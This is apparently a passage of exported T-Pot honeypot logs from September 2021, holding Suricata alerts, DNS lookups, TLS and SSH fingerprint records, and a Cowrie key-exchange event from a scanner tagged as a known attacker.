35586	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:09:37.000726+03	2021-09-20 15:15:03.458689+03	{"_id": "NQYcA3wBvYTbRNuEo11w", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:08:35.561764+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 1646391856435812, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 61582, "timestamp": "2021-09-20T12:09:37.000726Z", "@timestamp": "2021-09-20T12:09:37.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
35587	195.24.88.8	109.199.241.180	Suricata	2021-09-20 15:09:40.256893+03	2021-09-20 15:15:03.460691+03	{"_id": "NgYcA3wBvYTbRNuEo11w", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 54130, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2094, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1275530024641454, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 34930, "timestamp": "2021-09-20T12:09:40.256893Z", "@timestamp": "2021-09-20T12:09:40.256Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	BG
35588	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:09:40.863986+03	2021-09-20 15:15:03.46169+03	{"_id": "NwYcA3wBvYTbRNuEo11w", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 249, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 757550526246642, "@version": "1", "in_iface": "enp5s0", "src_port": 34517, "dest_port": 53, "timestamp": "2021-09-20T12:09:40.863986Z", "@timestamp": "2021-09-20T12:09:40.863Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
35589	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:09:40.625886+03	2021-09-20 15:15:03.46269+03	{"_id": "MQYcA3wBvYTbRNuEo11u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 5804, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 28701018590430, "@version": "1", "in_iface": "enp5s0", "src_port": 44875, "dest_port": 53, "timestamp": "2021-09-20T12:09:40.625886Z", "@timestamp": "2021-09-20T12:09:40.625Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
35590	117.22.230.94	109.199.241.180	Fatt	2021-09-20 15:09:40.59002+03	2021-09-20 15:15:03.464689+03	{"_id": "QwYcA3wBvYTbRNuEpF22", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "117.22.230.94", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 2137, "dest_port": 22, "timestamp": "2021-09-20T12:09:40.590020", "@timestamp": "2021-09-20T12:09:40.590Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
35591	160.44.201.156	109.199.241.180	Fatt	2021-09-20 15:09:40.345501+03	2021-09-20 15:15:03.466691+03	{"_id": "SQYcA3wBvYTbRNuEpF22", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 36152, "timestamp": "2021-09-20T12:09:40.345501", "@timestamp": "2021-09-20T12:09:40.345Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	DE
35592	117.22.230.94	109.199.241.180	Suricata	2021-09-20 15:09:40.59002+03	2021-09-20 15:15:03.46769+03	{"_id": "MAYcA3wBvYTbRNuEo11u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:09:40.051192+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "117.22.230.94", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1124319258527736, "payload": "AAADzAYU8pS94eVjiDq7Vmts5uOMIgAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 2137, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:09:40.590020Z", "@timestamp": "2021-09-20T12:09:40.590Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...........c.:.Vkl...\\"...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	CN
35593	195.24.88.8	109.199.241.180	Suricata	2021-09-20 15:09:40.865555+03	2021-09-20 15:15:03.46869+03	{"_id": "OAYcA3wBvYTbRNuEo11w", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 249, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2094, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 757550526246642, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 34517, "timestamp": "2021-09-20T12:09:40.865555Z", "@timestamp": "2021-09-20T12:09:40.865Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	BG
35594	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:09:40.321922+03	2021-09-20 15:15:03.47069+03	{"_id": "RQYcA3wBvYTbRNuEpF22", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "117.22.230.94", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 2137, "timestamp": "2021-09-20T12:09:40.321922", "@timestamp": "2021-09-20T12:09:40.321Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
35595	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:09:40.679923+03	2021-09-20 15:15:03.47169+03	{"_id": "RwYcA3wBvYTbRNuEpF22", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 36154, "dest_port": 443, "timestamp": "2021-09-20T12:09:40.679923", "@timestamp": "2021-09-20T12:09:40.679Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
35596	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:09:40.254894+03	2021-09-20 15:15:03.47269+03	{"_id": "MgYcA3wBvYTbRNuEo11u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 54130, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1275530024641454, "@version": "1", "in_iface": "enp5s0", "src_port": 34930, "dest_port": 53, "timestamp": "2021-09-20T12:09:40.254894Z", "@timestamp": "2021-09-20T12:09:40.254Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
35597	195.24.88.8	109.199.241.180	Suricata	2021-09-20 15:09:40.627437+03	2021-09-20 15:15:03.47369+03	{"_id": "MwYcA3wBvYTbRNuEo11u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 5804, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2094, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 28701018590430, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 44875, "timestamp": "2021-09-20T12:09:40.627437Z", "@timestamp": "2021-09-20T12:09:40.627Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	BG
35598	2.20.149.232	109.199.241.180	Suricata	2021-09-20 15:09:40.859747+03	2021-09-20 15:15:03.47569+03	{"_id": "NAYcA3wBvYTbRNuEo11u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:09:40.859747+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 60}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "2.20.149.232", "asn": 20940, "as_org": "Akamai International B.V.", "latitude": 47.0, "location": {"lat": 47.0, "lon": 8.0}, "timezone": "Europe/Vaduz", "longitude": 8.0, "continent_code": "EU"}, "proto": "TCP", "src_ip": "2.20.149.232", "stream": 0, "dest_ip": "192.168.20.147", "flow_id": 806519595867747, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 62514, "timestamp": "2021-09-20T12:09:40.859747Z", "@timestamp": "2021-09-20T12:09:40.859Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
35599	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:09:40.305147+03	2021-09-20 15:15:03.476691+03	{"_id": "TgYcA3wBvYTbRNuEpF22", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 36152, "dest_port": 443, "timestamp": "2021-09-20T12:09:40.305147", "@timestamp": "2021-09-20T12:09:40.305Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
35600	160.44.201.156	109.199.241.180	Fatt	2021-09-20 15:09:40.722212+03	2021-09-20 15:15:03.47769+03	{"_id": "RgYcA3wBvYTbRNuEpF22", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 36154, "timestamp": "2021-09-20T12:09:40.722212", "@timestamp": "2021-09-20T12:09:40.722Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	DE
35601	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 15:09:40.590287+03	2021-09-20 15:15:03.47869+03	{"_id": "UAYcA3wBvYTbRNuEpl00", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "647a847dec67", "@version": "1", "timestamp": "2021-09-20T12:09:40.590287Z", "@timestamp": "2021-09-20T12:09:40.590Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": 